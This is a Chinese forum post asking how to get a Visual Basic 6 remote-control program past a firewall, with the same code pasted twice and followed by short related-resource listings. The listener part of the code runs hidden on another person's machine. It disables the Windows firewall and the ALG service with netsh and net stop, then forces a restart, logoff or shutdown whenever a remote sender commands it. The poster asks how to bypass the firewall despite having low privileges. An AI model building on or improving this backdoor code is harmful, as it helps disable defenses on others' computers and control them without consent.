VB 实现穿过防火墙
我做了个简单的TCP连接的东西,可是总是提示防火墙信息,总是不能实现通讯
程序如下:
服务端:
Private Sub Command1_Click()
Wc.SendData "Command=1" '送命令
End Sub
Private Sub Command2_Click()
Wc.SendData "Command=2" '?送命令
End Sub
Private Sub Form_Load()
Wc.RemoteHost = "172.17.2.57" '别人的IP
Wc.RemotePort = 1001
Wc.Connect
End Sub
客户端:
Private Sub Form_Load()
Shell "net stop alg", vbHide
Shell "netsh firewall set opmode disable", vbHide
Ws.LocalPort = 1001 '?听端口
Ws.Listen
End Sub
Private Sub Ws_Close()
Ws.Listen
End Sub
Private Sub Ws_ConnectionRequest(ByVal requestID As Long)
If Ws.State <> sckClosed Then Ws.Close
Ws.Accept requestID
End Sub
Private Sub Ws_DataArrival(ByVal bytesTotal As Long)
Dim tmp As String
Ws.GetData tmp, vbString
Select Case tmp
Case "Command=1"
'Shell "cmd /c shutdown -s -f -t 1", vbHide
Shell "shutdown -r -f -t 0", vbHide
MsgBox ""
Case "Command=2"
Shell "net stop alg", vbHide
Shell "netsh firewall set opmode disable", vbHide
Shell "shutdown -l -t 10" '十秒后注?
End Select
End Sub
总是提示连接出问题,可是权限低不能关闭防火墙。怎么能绕过防火墙阿。或有其他的解决方法阿。
程序如下:
服务端:
Private Sub Command1_Click()
Wc.SendData "Command=1" '送命令
End Sub
Private Sub Command2_Click()
Wc.SendData "Command=2" '?送命令
End Sub
Private Sub Form_Load()
Wc.RemoteHost = "172.17.2.57" '别人的IP
Wc.RemotePort = 1001
Wc.Connect
End Sub
客户端:
Private Sub Form_Load()
Shell "net stop alg", vbHide
Shell "netsh firewall set opmode disable", vbHide
Ws.LocalPort = 1001 '?听端口
Ws.Listen
End Sub
Private Sub Ws_Close()
Ws.Listen
End Sub
Private Sub Ws_ConnectionRequest(ByVal requestID As Long)
If Ws.State <> sckClosed Then Ws.Close
Ws.Accept requestID
End Sub
Private Sub Ws_DataArrival(ByVal bytesTotal As Long)
Dim tmp As String
Ws.GetData tmp, vbString
Select Case tmp
Case "Command=1"
'Shell "cmd /c shutdown -s -f -t 1", vbHide
Shell "shutdown -r -f -t 0", vbHide
MsgBox ""
Case "Command=2"
Shell "net stop alg", vbHide
Shell "netsh firewall set opmode disable", vbHide
Shell "shutdown -l -t 10" '十秒后注?
End Select
End Sub
总是提示连接出问题,可是权限低不能关闭防火墙。怎么能绕过防火墙阿。或有其他的解决方法阿。
...全文
相关推荐
vb编写的防火墙程序
描述中的“想研究的同志们可以看看”,暗示这个压缩包可能包含了一个VB6.0防火墙程序的源代码。通过研究源代码,开发者可以学习到如何在VB6.0中实现上述功能,包括:1.
防火墙源码分析实战:数据路径与Netfilter钩子解析
网络包过滤是Linux网络安全的基础能力,防火墙作为核心组件,其性能与可靠性取决于数据处理路径的设计。在内核协议栈中,Netfilter框架预留了多个钩子点,规则引擎只在配置变更时运行,而数据路径则需逐包遍历,成为系统瓶颈的关键所在。理解规则如何从用户态下发、如何在内核中映射为可遍历的数据结构,是剖析防火墙源码的起点。借助最小C模型还原规则匹配的逐字段比较逻辑,可以直观把握顺序命中的语义,并通过编译、加载与调试手段验证改动效果。在实际二次开发中,优先级、报文长度校验、conntrack状态等细节直接影响规则
vb高级防火墙
在VB中实现这一功能,开发者需要深入理解网络协议如TCP/IP,以及如何使用VB的API函数来拦截和分析网络通信。在VB中构建高级防火墙,首先需要了解以下核心概念:1.
VB高级防火墙
学习VB高级防火墙的源代码,开发者可以深入理解网络通信原理、防火墙的工作机制以及如何在VB中实现这些功能。
专业强大的VB防火墙软件源码.rar
该项目为基于VB开发的防火墙软件源码,包含网络状态监控、注册表操作、系统托盘集成及窗口控制等功能。通过调用Windows API实现TCP连接检测、ICMP统计、端口管理、注册表读写以及窗体置顶与隐藏


网络编程
